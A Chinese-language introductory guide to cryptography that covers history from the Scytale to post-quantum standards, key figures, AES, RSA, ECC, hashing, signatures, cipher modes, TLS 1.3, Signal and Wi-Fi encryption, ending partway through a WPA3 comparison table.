📌 本文定位: 这是一份面向初学者的加密解密领域知识库全景图。读完本文,你将理解密码学从古至今的完整脉络,掌握核心算法原理,并能够动手完成加密解密实操。文中所有专业术语都会在首次出现时以悬停提示(像这样)的方式给出解释,重要论文和资料会附上原文链接,方便你跳转扩展阅读。
第一章 加密解密领域概览
1.1 一句话定义
加密解密 是通过数学变换,让信息在开放信道中安全传输、在不可信环境中安全存储的科学。它解决的是数字世界的核心信任问题:如何在不安全的通道上,安全地传递秘密?
1.2 它解决的核心问题——CIA 三元组
信息安全有三大基石,合称CIA 三元组。下面的 SVG 图展示了三者的关系:
- 机密性(Confidentiality):确保信息不被未授权的人看到。通过加密实现。
- 完整性(Integrity):确保信息在传输过程中没有被篡改。通过哈希函数或 MAC实现。
- 真实性(Authenticity):确保”对方确实是他声称的那个人”。通过数字签名实现。
1.3 最典型的应用场景
下面的表格用生活场景帮你建立直觉。请注意在”使用的技术”列中,每个缩写我们都用 <abbr> 标签做了悬停提示——鼠标指上去就能看到全称和解释[1]。
| 场景 | 使用的技术 | 你每天都在用 |
|---|---|---|
| HTTPS 网页浏览 | TLS 1.3:ECDHE + AES-GCM + SHA-256 | 访问任何带🔒的网站 |
| 即时通讯 | Signal 协议:X3DH + Double Ratchet + AES-CBC + HMAC | 微信、WhatsApp |
| 在线支付 | TLS + 3D Secure + 支付令牌化 | 支付宝、微信支付 |
| 设备解锁 | AES 全盘加密 + 安全飞地(Secure Enclave,芯片内独立安全区域) | 手机锁屏密码 |
| 代码/软件签名 | RSA/ECDSA + X.509 证书链 | 下载 App 时的验证 |
| 区块链/加密货币 | ECDSA(比特币)/ EdDSA + SHA-256 | BTC/ETH 交易 |
本节缩写速查表:
| 缩写 | 全称 | 一句话解释 |
|---|---|---|
| TLS | Transport Layer Security | 传输层安全协议,HTTPS 的底层加密标准 |
| AES | Advanced Encryption Standard | 全球最常用的对称加密算法 |
| GCM | Galois/Counter Mode | AES 的一种”认证加密”模式,加密同时校验完整性 |
| CBC | Cipher Block Chaining | AES 的一种传统模式,密文块链式关联 |
| HMAC | Hash-based Message Authentication Code | 基于哈希的消息认证码 |
| ECDHE | Elliptic Curve Diffie-Hellman Ephemeral | 椭圆曲线临时密钥交换,提供前向安全 |
| ECDSA | Elliptic Curve Digital Signature Algorithm | 椭圆曲线数字签名算法 |
| EdDSA | Edwards-curve Digital Signature Algorithm | 爱德华兹曲线数字签名,比 ECDSA 更快更简洁 |
| X3DH | Extended Triple Diffie-Hellman | Signal 协议的初始密钥协商算法 |
| RSA | Rivest-Shamir-Adleman | 第一个实用的非对称加密算法,以三位发明者命名 |
| SHA | Secure Hash Algorithm | 安全哈希算法系列 |
| X.509 | — | 数字证书的国际标准格式 |
💡 学习密码学的长期收益: 密码学是所有安全方向的基石。它能重塑你的思维——学会用「无法篡改」「零知识」「可验证」等视角重新审视数字世界。
第二章 加密解密发展历史
2.1 古典密码时代(公元前 1900 年 — 19 世纪)
密码学的历史几乎和人类文明一样长。从古埃及墓穴中非标准象形文字,到罗马军团的凯撒密码,隐藏秘密始终是人类的基本需求。
约公元前 1900 年 · 古埃及:最早的密码记录
一位书吏在贵族的墓穴铭文中使用了非标准的象形文字替代,被公认为最早的密码实践。这不是加密通信,而是一种仪式性的”隐藏书写”。
约公元前 600 年 · 斯巴达密码棒(Scytale)
最早的转置密码工具。将羊皮纸条缠绕在特定直径的木棒上书写,展开后字母顺序被打乱。只有使用相同直径木棒的接收者才能恢复原文——木棒直径就是”密钥”。
约公元前 50 年 · 凯撒密码(Caesar Cipher)
尤利乌斯·凯撒在军事通信中将字母按固定偏移量替换。例如偏移3位:A→D, B→E, C→F……这是最经典的单表替换密码。密钥空间仅25个(排除偏移0),属于极弱的加密。
约公元 800 年 · 肯迪(Al-Kindi):频率分析法
阿拉伯数学家肯迪在《破译密码信息的手稿》中提出了频率分析方法,这是密码学从”手艺”走向”科学”的转折点。
📖 频率分析怎么操作?(点击展开)
以英语为例,具体步骤:
- 统计英语正常频率:在大量英语文本中,E 出现频率最高(约 12.7%),其次是 T(9.1%)、A(8.2%)、O(7.5%)、I(7.0%)、N(6.7%)……最常用的单词是 “THE”、”AND”、”THAT” 等。
- 统计密文的字母频率:拿到一段密文后,数每个字母出现的次数,排出频率顺序。
- 匹对频率排名:密文里出现最多的那个字母,大概率对应明文中的 E。密文里第二多的,大概率对应 T……以此类推。
- 利用常见词辅助:如果密文里有三个字母的序列频繁重复出现,很可能就是 “THE”。英语中字母 “Q” 后面几乎总是跟 “U”,这也是破解线索。
- 逐步还原替换表。
关键洞察: 单表替换之所以能被破解,是因为它没有改变字母的频率分布——A 被替换成 D 后,密文里 D 的频率就等于原文里 A 的频率。攻击者抓住了这个统计规律。
1467 年 · 阿尔贝蒂(Alberti):多表替换密码
意大利文艺复兴巨匠莱昂·巴蒂斯塔·阿尔贝蒂发明了密码轮盘(一个带两组字母的机械转盘,转动到不同位置对应不同的替换表)和多表替换密码[10]概念,被尊为”西方密码学之父”。
📖 多表替换密码是如何对抗频率分析的?(点击展开)
核心思路: 加密过程中不断切换替换表,让同一个明文字母在不同的位置被加密成不同的密文字母,打乱频率分布。
举例:假设有表A(A→D, B→E, C→F…)和表B(A→X, B→Y, C→Z…),按”ABABB”的顺序循环使用——
- 第1个字母用表A加密
- 第2个字母用表B加密
- 第3个字母用表A加密
- ……
这样原文里的三个”A”可能分别变成 D、X、D——频率分析就失效了。
1586 年 · 维吉尼亚密码(Vigenère Cipher)
法国外交官布莱斯·德·维吉尼亚在《密码学条约》中描述了基于关键词的多表替换系统。
📖 维吉尼亚密码怎么加密?(点击展开)
操作步骤:
- 选一个关键词,比如 “KEY”
- 把关键词反复重复,长度和明文对齐:
- 明文:
A T T A C K A T D A W N - 密钥:
K E Y K E Y K E Y K E Y
- 明文:
- 每个明文字母按对应密钥字母的偏移量做凯撒替换:
- A + K(偏移10)→ K
- T + E(偏移4)→ X
- T + Y(偏移24)→ R
- ……
- 最终密文:
K X R K G I K X C K E L
为什么曾被称作”不可破译的密码”? 因为同一个字母 A,配合不同密钥字母(K/E/Y),分别变成 K/X/K——频率分析完全失效。这个密码屹立了三个世纪,直到 19 世纪才被卡西斯基(Kasiski)和巴贝奇(Babbage)通过寻找密钥周期漏洞分别独立破解。
1883 年 · 柯克霍夫原则(Kerckhoffs’s Principle)
荷兰密码学家奥古斯特·柯克霍夫在《军事密码学》中提出密码学的核心假设:
密码系统的安全性应该完全依赖于密钥的保密,而非算法的保密。
📖 为什么?(点击展开)
三条理由:
- 算法藏不住。 在商业软件和互联网时代,程序代码(算法)迟早会被逆向工程分析出来——Windows 源码都能泄露,你凭什么觉得加密算法能永远保密?
- 密钥可以随时换。 如果泄露的是算法,整个系统作废,必须重新设计。但如果泄露的是密钥,只需换一把新密钥,系统继续运转。
- 公开的算法经得起检验。 AES、RSA 都公开了二十多年,全球密码学家日夜攻击都没破——这说明它们真安全。反之,「保密」的算法没经历过公开检验,往往是掩耳盗铃——自认为安全,实际漏洞一堆。
反面教材: CSS(DVD 内容扰乱系统)使用了保密的加密算法,2000 年被逆向出源码后瞬间崩溃,全球 DVD 都能随意复制。
这一原则至今仍是密码系统设计的黄金法则。
2.2 机电密码时代(20 世纪初 — 1940 年代)
1918 年 · Arthur Scherbius 发明 Enigma
德国工程师谢尔比乌斯发明了 Enigma 转子密码机。
📖 Enigma 怎么工作?(点击展开,读完再看下面的图)
Enigma 看起来像一台打字机,内部核心组件:
- 键盘 + 灯板:按下一个键,对应密文的灯泡亮起
- 接线板(Plugboard):用插线交换字母对(比如 A↔G、T↔Z),这是第一层替换
- 3-4 个转子(Rotors):每个转子内部有固定的替换接线(A→X、B→Y…),相当于多表替换的表。每次按键后最右边的转子转动一格,像里程表进位
- 反射器(Reflector):电流到达反射器后被”反射”回来,再次经过三个转子走回头路
完整流程(按下 A 键):
- 电流从键盘 A → 接线板 → 转子1 → 转子2 → 转子3 → 反射器 → 转子3 → 转子2 → 转子1 → 接线板 → 灯泡 G 亮起
- 松开按键,转子3 转动一格。下次按 A 会输出完全不同的字母!
密钥空间高达 10²³(1.58 亿亿亿),德军认为它绝对安全。
下面的 SVG 图展示了简化后的 Enigma 加密流程。注意电流经过反射器后会原路返回再经过三个转子——这个设计正是 Enigma 最致命的弱点所在:
图:凯撒密码替换规则(上)与 Enigma 加密流程(下)
1939-1945 年 · 布莱切利庄园与图灵的 Bombe 机
英国布莱切利庄园成为密码破解中心。艾伦·图灵设计了 Bombe 机电破解机。
📖 Enigma 的致命弱点——"字母不自加密"是什么意思?(点击展开)
Enigma 设计有一个数学上的必然结果:反射器导致字母永远不会被加密成自身。输入 A,经过接线板→转子→反射器→原路返回后,输出绝不可能是 A。
这看似加强了安全性(密文和明文不同),实则泄露了关键信息:破解者知道”A 绝对不会在第 X 位置”。图灵利用这一点,配合每天都重复使用的「天气预报固定格式开头」(德军每天早上的天气预报格式是固定的——德军的一个愚蠢习惯),构造了 Known Plaintext Attack(已知明文攻击):他在猜到的明文和对应的密文之间寻找字母回路,大幅缩小了可能的转子位置组合——从 10²³ 缩小到人力可及的范围。
据估计,破解 Enigma 使二战缩短了 2~3 年。
1944 年 · Colossus:世界上第一台可编程电子计算机
由汤米·弗劳尔斯设计,用于破解更复杂的 Lorenz 密码机。Colossus 是密码学直接催生出现代计算机的明证。
2.3 现代密码时代(1949 年至今)
1949 年 · Shannon:信息论奠基
克劳德·香农发表了《保密系统的通信理论》(Communication Theory of Secrecy Systems),用信息论为密码学建立了严格的数学基础。他证明了一个重要结论:一次性密码本[11] 是理论上唯一绝对安全的加密方案。
1976 年 · Diffie-Hellman 密钥交换
惠特菲尔德·迪菲和马丁·赫尔曼发表了《密码学的新方向》(New Directions in Cryptography),首次提出了公钥密码学[12]的概念,解决了困扰密码学四千年的密钥分发问题[13]。这被公认为密码学史上最具革命性的突破。
1977 年 · RSA 算法 & DES 标准
Ron Rivest、Adi Shamir、Len Adleman 发表 RSA 算法——第一个实用的公钥加密方案。同年,NIST 将 IBM 开发的 DES[14] 定为美国联邦标准,这是第一个公开可用的标准化加密算法。
1991 年 · PGP:加密走向大众
菲尔·齐默尔曼发布 PGP(Pretty Good Privacy),首次将混合加密(RSA + IDEA)带给普通用户。齐默尔曼因”出口军火级别加密软件”被美国政府刑事调查三年——当时美国法律将强加密软件列为军火。
1994 年 · Shor 算法:量子威胁的出现
彼得·肖尔提出 Shor 量子算法,能够在多项式时间内分解大整数——未来量子计算机可在一小时内破解 RSA-2048。
2001 年 · AES 取代 DES
比利时密码学家 Joan Daemen 和 Vincent Rijmen 设计的 Rijndael 算法在公开竞赛中击败 14 个候选算法胜出,成为 AES 标准。
2004 年 · 王小云破解 MD5
中国密码学家王小云教授在国际密码学会议上宣布成功构造 MD5 碰撞[15],论文链接。随后她陆续破解了 SHA-1、MD4 等多个哈希算法,推动全球密码标准升级至 SHA-2/SHA-3。
2024 年 · NIST 发布后量子密码标准
NIST 正式发布三项后量子密码标准:FIPS 203(ML-KEM,基于格)、FIPS 204(ML-DSA)、FIPS 205(SLH-DSA),标志着密码学正式进入后量子时代。详见第十四章。
第三章 关键人物志
密码学的每一次重大飞跃,背后都站着少数天才的头脑。以下是塑造了密码学面貌的 12 位关键人物:
| 人物 | 年代 | 贡献 |
|---|---|---|
| Gaius Julius Caesar | 公元前 100–44 年 · 罗马 | 凯撒密码的发明者,将密码用于军事通信的第一人 |
| Al-Kindi(肯迪) | 约 801–873 年 · 阿拉伯 | 频率分析法的发明者,将密码破解提升为系统化科学 |
| Leon Battista Alberti | 1404–1472 年 · 意大利 | “西方密码学之父”,发明密码轮盘和多表替换密码 |
| Alan Turing(艾伦·图灵) | 1912–1954 年 · 英国 | 设计 Bombe 机破解 Enigma,利用”字母不自加密”特性缩小搜索空间,现代计算机科学之父 |
| Claude Shannon(克劳德·香农) | 1916–2001 年 · 美国 | “信息论之父”,《保密系统的通信理论》为密码学建立严格数学基础,证明一次性密码本的绝对安全性 |
| Diffie & Hellman | 1976 年 · 美国 | 《密码学的新方向》提出公钥密码学概念和 DH 密钥交换协议 |
| Rivest, Shamir, Adleman | 1977 年 · MIT | 发明 RSA 算法,首个实用公钥加密方案,获 2002 年图灵奖 |
| Phil Zimmermann | 1954– · 美国 | PGP 作者,将强加密带给大众,曾因此被美国政府刑事调查三年 |
| 王小云(Wang Xiaoyun) | 1966– · 中国 | 山东大学教授,破解 MD5,推动全球哈希标准升级至 SHA-2/SHA-3 |
| Peter Shor(彼得·肖尔) | 1959– · MIT | 1994 年提出 Shor 算法,证明量子计算机可破解 RSA 和 ECC |
| Joan Daemen | 1965– · 比利时 | AES(Rijndael)算法共同设计者 |
| Daniel J. Bernstein | 1971– · 美国 | 设计 Curve25519、ChaCha20、Poly1305 等现代加密算法,个人网站 |
第四章 核心概念与分类
4.1 三大密码学目标(CIA + N)
| 目标 | 英文 | 实现手段 | 生活类比 |
|---|---|---|---|
| 机密性 | Confidentiality | 加密(对称/非对称) | 给信封上锁,只有收信人有钥匙 |
| 完整性 | Integrity | 哈希函数、MAC | 快递包裹的防拆封条 |
| 真实性 | Authenticity | 数字签名、证书 | 合同上的手写签名 |
| 不可否认性[16] | Non-repudiation | 数字签名 + 时间戳 | 已签名的借条,无法抵赖 |
4.2 加密体系三大分类
下面这张图用一个统一的框架对比了对称加密、非对称加密和哈希函数——注意对比每种体系密钥的数量、加密方向、是否可逆:
图:三大加密体系对比——对称加密、非对称加密、哈希函数
4.3 易混淆概念对比表
| 对比维度 | 对称加密 | 非对称加密 | 哈希函数 |
|---|---|---|---|
| 密钥 | 1 把密钥 | 公钥 + 私钥 | 无密钥 |
| 可逆性 | ✅ 可逆(有密钥) | ✅ 可逆(有私钥) | ❌ 单向不可逆 |
| 速度 | 极快(GB/s 级) | 很慢(比对称慢 100-1000 倍) | 快 |
| 典型用途 | 加密大量数据 | 密钥交换、数字签名 | 完整性校验、密码存储 |
| 密钥分发 | 困难(需安全信道) | 容易(公钥可公开) | 不涉及 |
| 举例 | AES、ChaCha20、SM4 | RSA、ECC、SM2 | SHA-256、SM3、BLAKE3 |
⚠️ 最常见的误解: “MD5 加密” 和 “SHA-1 加密” —— 它们根本不是加密!MD5 和 SHA-1 是哈希函数,不可逆、没有密钥。正确的说法是 “MD5 摘要” 或 “SHA-1 哈希”。
4.4 密码学中的随机数:一切安全的根基
如果说密钥是加密的灵魂,那么随机数就是灵魂的源头。没有真随机数,AES-256 也能被预测——等于裸奔。
4.4.1 为什么密码学离不开随机数?
密码学中几乎每个环节都需要随机数:
| 场景 | 需要随机数做什么 | 如果不随机会怎样 |
|---|---|---|
| 密钥生成 | 生成不可预测的密钥 | 攻击者穷举少量可能密钥即可 |
| Nonce / IV | 确保相同明文每次加密出不同密文 | 密文可被对比破解(WEP 就是这样被破的) |
| ECDSA 签名 | 签名时需要一个随机数 k | k 被猜出→私钥直接泄露(索尼PS3事件) |
| TLS 握手 | Client Random / Server Random | TLS 安全性完全崩溃 |
| 盐(Salt)[17] | 每个密码一个随机盐 | 彩虹表攻击[18]一招毙命 |
4.4.2 PRNG vs CSPRNG vs TRNG
随机数分为三类,只有一类适合加密:
| 类型 | PRNG | CSPRNG | TRNG |
|---|---|---|---|
| 原理 | 数学公式(如线性同余) | 密码学算法(AES-CTR / ChaCha20) | 物理噪声(热噪声、光子辐射) |
| 可预测性 | 知道种子即可预测 | 计算上不可预测 | 物理上不可预测 |
| 速度 | 极快 | 快 | 慢(受限于物理熵源速率) |
| 用途 | 游戏、模拟 | 加密(都用这个) | CSPRNG 的种子源 |
| 举例 | Math.random() |
Linux /dev/urandom |
Intel RDRAND |
⚠️ 关键认知: 日常加密用的都是 CSPRNG,不是 TRNG。操作系统从物理熵源收集种子,然后 CSPRNG 把少量真随机性”拉伸”成大量可用的安全随机数。
4.4.3 坏随机数的真实灾难
索尼 PS3 ECDSA 私钥泄露(2010):Sony 在 PS3 的 ECDSA 签名中用了固定的随机数 k。攻击者拿到两笔不同交易的签名,通过数学推导提取出私钥。PS3 被彻底破解。
Debian OpenSSL 弱密钥事件(2008):Debian 在修补 OpenSSL 时错误注释掉了一行熵收集代码,导致生成的 SSH/RSA 密钥仅依赖进程 PID(仅 32768 种可能)。全球上万服务器在使用可预测的弱密钥,持续了两年才被发现。
第五章 对称加密原理深度解析
5.1 流密码(Stream Cipher)
核心思想: 用一个密钥生成伪随机的”密钥流”,然后将密钥流与明文按位异或(XOR)[19]得到密文。解密时用相同的密钥生成相同的密钥流,再次异或还原明文。
下面的 SVG 展示了流密码从密钥到密文的完整过程:
图:流密码加密原理——密钥流与明文逐位异或
| 算法 | 密钥长度 | 状态 | 说明 |
|---|---|---|---|
| RC4 | 40~2048 位 | ❌ 已淘汰 | WEP/WPA 无线安全的核心,因密钥流偏倚和 Nonce 重用被彻底攻破 |
| ChaCha20 | 256 位 | ✅ 推荐 | Daniel Bernstein 设计,速度极快且在无硬件加速的设备上表现优异 |
| ZUC(祖冲之) | 128 位 | ✅ 国密标准 | 中国自主设计,已被 3GPP 采纳为 LTE 国际标准 |
5.2 分组密码(Block Cipher)
核心思想: 将明文分割成固定大小的块(如 128 位=16 字节),对每一块分别进行加密变换。不同块之间通过工作模式(第九章)关联以增强安全性。
5.3 AES 深度解析
AES[20] 是目前全球使用最广泛的对称加密算法,由比利时密码学家设计(原名 Rijndael),在 NIST 公开竞赛中击败 14 个候选算法胜出。
| 参数 | AES-128 | AES-192 | AES-256 |
|---|---|---|---|
| 密钥长度 | 128 位(16 字节) | 192 位(24 字节) | 256 位(32 字节) |
| 分组大小 | 128 位 | 128 位 | 128 位 |
| 加密轮数 | 10 轮 | 12 轮 | 14 轮 |
| 安全性(经典) | 128 位安全 | 192 位安全 | 256 位安全 |
| 量子安全性 | 约 64 位 | 约 96 位 | 约 128 位(仍安全) |
下面这张图展示了 AES 的加密流程——注意理解轮数这个概念:AES 不是一遍就算完,而是把明文反复”揉面”多遍,每一遍叫做一轮:
图:AES 加密的 SPN 结构
AES 的四步操作(每轮都做):
- SubBytes(字节替换)——混淆:每个字节通过 S 盒(一个 16×16 的非线性查找表)替换为另一个字节。这是 AES 安全性的核心来源。
- ShiftRows(行移位)——扩散:将 4×4 状态矩阵的每一行循环左移不同偏移量,让一个列中的字节扩散到不同列。
- MixColumns(列混淆)——扩散:将每一列的数据混合运算,进一步扩散。
- AddRoundKey(轮密钥加)——密钥混合:将当前轮的密钥与状态矩阵逐字节异或。
📌 为什么 AES 安全? AES 的安全性建立在混淆(S 盒的非线性变换使输入输出关系极难分析)和扩散(ShiftRows 和 MixColumns 使每个输出位依赖于所有输入位)的组合上。AES-256 在量子计算机面前(Grover 算法)仍保持约 128 位有效安全强度。
第六章 非对称加密原理深度解析
6.1 RSA 算法原理
RSA 是密码学史上最优雅的发明之一——它解决了密钥分发这一困扰人类四千年的难题。其安全性建立在一个简单的数学事实之上:两个大质数相乘很容易,但从乘积反推两个质数极其困难。
RSA 密钥生成(完整步骤)
- 选择两个大质数:随机选 p 和 q(各 1024 位以上),计算 n = p × q。n 是”模数”,长度即密钥长度。
- 计算欧拉函数:φ(n) = (p-1) × (q-1)。这表示小于 n 且与 n 互质的正整数个数。
- 选择公钥指数 e:选一个与 φ(n) 互质的数 e,通常固定为 65537(0x10001),因为它是质数且二进制只有两个 1(计算快)。
- 计算私钥指数 d:求 e 关于模 φ(n) 的乘法逆元,即 e × d ≡ 1 (mod φ(n))。用扩展欧几里得算法可高效计算。
- 公钥 = (n, e),私钥 = (n, d)。p 和 q 必须销毁——任何持有 p、q 的人都能算出 d。
下面这张流程图展示了 RSA 从密钥生成到加密解密的完整路径:
图:RSA 完整流程——密钥生成、加密、解密
用小学数学理解 RSA
选 p=3, q=11,则 n=33, φ(n)=20。
选 e=7(与 20 互质),则 d=3(因为 7×3=21≡1 mod 20)。
公钥 (33, 7),私钥 (33, 3)。
加密 m=4:c = 4⁷ mod 33 = 16384 mod 33 = 16
解密 c=16:m = 16³ mod 33 = 4096 mod 33 = 4 ✅
6.2 椭圆曲线密码学(ECC)
ECC[22] 与 RSA 实现相同的功能(加密、签名、密钥交换),但使用比 RSA 小得多的密钥达到相同的安全强度。
| 安全强度 | RSA 密钥长度 | ECC 密钥长度 | 密钥大小比 |
|---|---|---|---|
| 80 位 | 1024 位 | 160 位 | 6.4 : 1 |
| 128 位 | 3072 位 | 256 位 | 12 : 1 |
| 256 位 | 15360 位 | 512 位 | 30 : 1 |
主流曲线:
- Curve25519(X25519): Daniel Bernstein 设计,256 位,约 128 位安全,速度极快且抗侧信道。TLS 1.3 和 Signal 协议的默认选择。
- P-256(secp256r1): NIST 标准曲线,256 位,广泛使用但设计参数来源不完全透明。
- secp256k1: 比特币和以太坊使用的曲线。
- SM2: 中国国密标准椭圆曲线。
6.3 密钥交换:Diffie-Hellman
DH 密钥交换解决的核心问题:两个从未谋面的人,如何在不安全的信道上,协商出一个只有他们知道的共享密钥?
颜色混合类比(最经典的解释方式):
- Alice 和 Bob 公开约定一种”公共颜色”(比如黄色)。
- Alice 自选一种”私有颜色”(红色),与黄色混合得到橙色,发给 Bob。
- Bob 自选一种”私有颜色”(蓝色),与黄色混合得到绿色,发给 Alice。
- Alice 将收到的绿色与自己的私色(红)混合 → 得到某种棕色。
- Bob 将收到的橙色与自己的私色(蓝)混合 → 得到完全相同的棕色!
- 窃听者 Eve 看到的只有黄色、橙色、绿色——无法混合出棕色。
数学实现: Alice 选私钥 a,计算 A = gª mod p 发给 Bob;Bob 选私钥 b,计算 B = gᵇ mod p 发给 Alice。共享密钥 = Bª mod p = Aᵇ mod p = gªᵇ mod p。窃听者从 g、gª、gᵇ 算出 gªᵇ 等价于解决离散对数问题[23]。
第七章 哈希函数
哈希函数(Hash Function) 将任意长度的输入数据映射为固定长度的输出(称为摘要/散列值/指纹)。它与加密的核心区别是:哈希不能”解密”——它是单向的。
安全哈希函数的三个核心性质
| 性质 | 含义 | 生活类比 |
|---|---|---|
| 抗原像性(Pre-image Resistance) | 给定哈希值 h,计算上不可行地找到 m 使 hash(m)=h | 从指纹不能还原出人脸 |
| 抗第二原像性(Second Pre-image Resistance) | 给定 m₁,计算上不可行地找到 m₂≠m₁ 使 hash(m₂)=hash(m₁) | 不能伪造别人的指纹 |
| 抗碰撞性(Collision Resistance) | 计算上不可行地找到任意两个不同输入产生相同哈希 | 理论上没有两人指纹完全相同 |
主流哈希算法对比
| 算法 | 输出长度 | 设计者 | 安全性 | 推荐度 |
|---|---|---|---|---|
| MD5 | 128 位 | Ron Rivest (1992) | ❌ 2004 年被王小云实用化碰撞攻击 | 绝不使用 |
| SHA-1 | 160 位 | NSA (1995) | ❌ 2017 年 Google 首次公开碰撞(SHAttered) | 绝不使用 |
| SHA-256 | 256 位 | NSA (2001) | ✅ 目前安全 | ✅ 广泛推荐 |
| SHA-512 | 512 位 | NSA (2001) | ✅ 更安全,但更慢 | ✅ 高安全场景 |
| SHA-3 (Keccak) | 任意 | Guido Bertoni 等 (2015) | ✅ 全新海绵结构,安全冗余高 | ✅ 推荐 |
| BLAKE3 | 任意 | Jack O’Connor 等 (2020) | ✅ 比 SHA-256 快 10 倍+ | ✅ 高性能场景 |
| SM3 | 256 位 | 国家密码管理局 (2010) | ✅ 中国国密标准 | ✅ 国内合规场景 |
🚫 MD5 和 SHA-1 还能用吗?
安全场景绝对不能! MD5 在 2004 年被王小云实现了实用碰撞。SHA-1 在 2017 年由 Google 联合 CWI 研究所实现了首个碰撞攻击(消耗了 9,223,372,036,854,775,808 次 SHA-1 计算)。
仅可用于非安全场景: 文件下载完整性快速校验、去重等对安全性无要求的场景。但仍推荐至少使用 SHA-256。
哈希的实际应用
| 应用 | 说明 |
|---|---|
| 密码存储 | 存储 hash(password + salt),永远不存明文。推荐 bcrypt/scrypt/Argon2 |
| 文件完整性校验 | 下载文件后比对 SHA-256 值,防止文件损坏或被篡改 |
| 数字签名 | 先对文档做 SHA-256 摘要,再对摘要签名(比直接签大文档快) |
| 区块链 | 比特币用 SHA-256 做工作量证明和交易 ID |
| Git 版本管理 | 每个 commit 都用 SHA-1(正迁移到 SHA-256)做唯一标识 |
| 消息认证码(HMAC) | HMAC-SHA256(key, message) 同时验证完整性和真实性 |
第八章 数字签名与 PKI(公钥基础设施)
8.1 数字签名如何工作?
数字签名是非对称加密的逆向使用——用私钥签名[24],用公钥验证。它实现了身份认证 + 数据完整性。
下面的流程图展示了签名和验证的完整路径:
图:数字签名流程——用私钥签名,用公钥验证
8.2 PKI 和证书链
公钥基础设施(PKI[25])解决了”你怎么确定这个公钥确实属于淘宝,而不是中间人伪造的?“
下面的图展示了从根 CA 到服务器证书的信任传递:
图:证书信任链——从根 CA 到服务器证书的逐级签名验证
第九章 加密工作模式与填充
9.1 分组密码的工作模式
分组密码只能加密固定大小的数据块(AES 为 128 位)。工作模式决定了如何处理多块数据以及块之间的关联方式。
| 模式 | 全称 | 特点 | 安全 | 推荐 |
|---|---|---|---|---|
| ECB | Electronic Codebook | 每块独立加密,相同明文→相同密文 | ❌ 极不安全 | 永不使用 |
| CBC | Cipher Block Chaining | 每块与前一块密文 XOR 后再加密 | ⚠️ 需配合 MAC | 可用但不推荐新项目 |
| CTR | Counter | 将分组密码转为流密码,用计数器生成密钥流 | ✅ | ✅ 推荐 |
| GCM | Galois/Counter Mode | 认证加密[26]:同时提供加密 + 完整性验证 | ✅ 最佳 | ✅✅ 强烈推荐 |
| CCM | CTR + CBC-MAC | 另一种认证加密模式 | ✅ | ✅ 嵌入式场景 |
⚠️ ECB 模式的著名”企鹅图”问题: 用 ECB 模式加密一张企鹅图片,虽然数据变了,但企鹅的轮廓清晰可见!因为相同颜色的像素块加密后仍然相同。这就是为什么 ECB 绝不应该被使用——它连最基本的模式隐藏都做不到。
9.2 填充方案
当明文长度不是分组大小的整数倍时,需要填充。最常用的是PKCS#7 填充:如果需要填充 n 个字节,每个填充字节的值都等于 n。
1 | 原始数据 (11 字节): 48 65 6C 6C 6F 20 57 6F 72 6C 64 |
第十章 当前主流加密方案全景
10.1 TLS 1.3 / HTTPS —— 互联网的安全基石
TLS 1.3[27](2018 年发布,RFC 8446)是现代互联网加密的核心协议。相比 1.2,它做了革命性的简化——废弃了所有不安全算法,将握手过程从 2-RTT 缩短为 1-RTT。
下面的流程图展示了一次完整的 TLS 1.3 握手:
图:TLS 1.3 握手——现代互联网的加密握手协议
10.2 端到端加密:Signal 协议
Signal 协议是 WhatsApp、Signal、微信等数十亿用户使用的端到端加密协议。核心创新是 Double Ratchet(双棘轮)算法:
- X3DH(扩展三重 Diffie-Hellman): 初始密钥协商,即使一方离线也能完成
- DH 棘轮: 每轮通信都生成新的 DH 密钥对,实现前向安全(即使长期密钥泄露,历史消息也无法解密)
- 对称棘轮: 每条消息都衍生出新的对称密钥,实现后向安全(当前密钥泄露不影响未来消息)
10.3 磁盘与文件加密
| 方案 | 加密层 | 算法 | 平台 |
|---|---|---|---|
| BitLocker | 全盘加密 | AES-128/256-CBC 或 XTS-AES | Windows |
| FileVault 2 | 全盘加密 | AES-XTS-128 | macOS |
| LUKS/dm-crypt | 全盘加密 | AES、Twofish、Serpent(可选) | Linux |
| VeraCrypt | 卷/全盘加密 | AES、Serpent、Twofish(可级联) | 跨平台 |
| Android FBE | 文件级加密 | AES-256-XTS | Android 7.0+ |
10.4 区块链中的密码学
区块链是密码学的集大成应用:
- 比特币: ECDSA (secp256k1) 用于交易签名,SHA-256 用于工作量证明,RIPEMD-160 用于地址生成
- 以太坊: ECDSA (secp256k1) 用于交易签名,Keccak-256 用于地址和状态根
- 零知识证明(ZKP): zk-SNARKs 使用配对友好椭圆曲线,实现”证明我知道 X 但不透露 X”
10.5 加密在你一天中的 24 小时
加密不是「打开浏览器才有的东西」——它渗透在你数字生活的每一秒。以下按时间线展示各个触点:
| 时间 | 行为 | 背后用的加密技术 |
|---|---|---|
| 🌅 7:00 | 按指纹解锁手机 | TEE + AES 文件级加密 |
| 🌅 7:01 | 手机自动连上 Wi-Fi | WPA3 SAE 握手 → AES-CCMP 加密所有流量 |
| 🌅 7:05 | 打开微信看消息 | Signal 协议类端到端加密 + TLS |
| 🌅 7:15 | Apple Watch 解锁 Mac | ECDSA 签名 + 安全飞地(Secure Enclave) |
| 🌅 7:30 | 刷 NFC 进地铁 | EMVCo 令牌化 + AES-128 |
| ☀️ 9:00 | 打开公司 VPN | WireGuard (Curve25519 + ChaCha20-Poly1305) |
| ☀️ 9:05 | 浏览器访问 GitHub | TLS 1.3 ECDHE + AES-256-GCM |
| ☀️ 12:00 | 微信扫码支付午餐 | 支付令牌 + TLS 1.3 |
| 🌤 18:00 | 1Password 自动填密码 | AES-256 + Argon2 零知识架构 |
| 🌙 20:00 | Netflix 看剧 | Widevine DRM + AES-128-CTR 流加密 |
| 🌙 22:00 | Mac 锁屏休眠 | FileVault2 (AES-XTS-256) 全盘加密 |
总结: 从睁眼到入睡,你与加密的交互至少发生 50-100 次,绝大多数时候你完全感知不到。这正是密码学工程设计的最高境界——安全应该是透明的。
10.6 Wi-Fi 加密:从 WEP 到 WPA3
Wi-Fi 是地球上使用最广泛的无线加密场景,它的安全进化史就是一部密码学攻防史。
WEP(1999)——密码学灾难
WEP 使用 RC4 流密码,设计上存在致命缺陷:24 位 IV 太短,每 1670 万个数据包循环一次,在繁忙网络里几分钟就重用了。IV 重用导致流密码被破解——2001 年即可在 60 秒内破解 WEP。
WPA2(2004~至今)
WPA2 用 AES-CCMP 替代了 RC4。核心机制是四次握手(4-Way Handshake):
WPA3(2018)
WPA3 针对 WPA2 的缺陷做了根本性重构:
| 改进点 | WPA2 | WPA3 |
|---|---|---|
| 认证方式 | PSK 四次握手 | SAE(对等同时认证),基于 Dragonfly 密钥交换 |
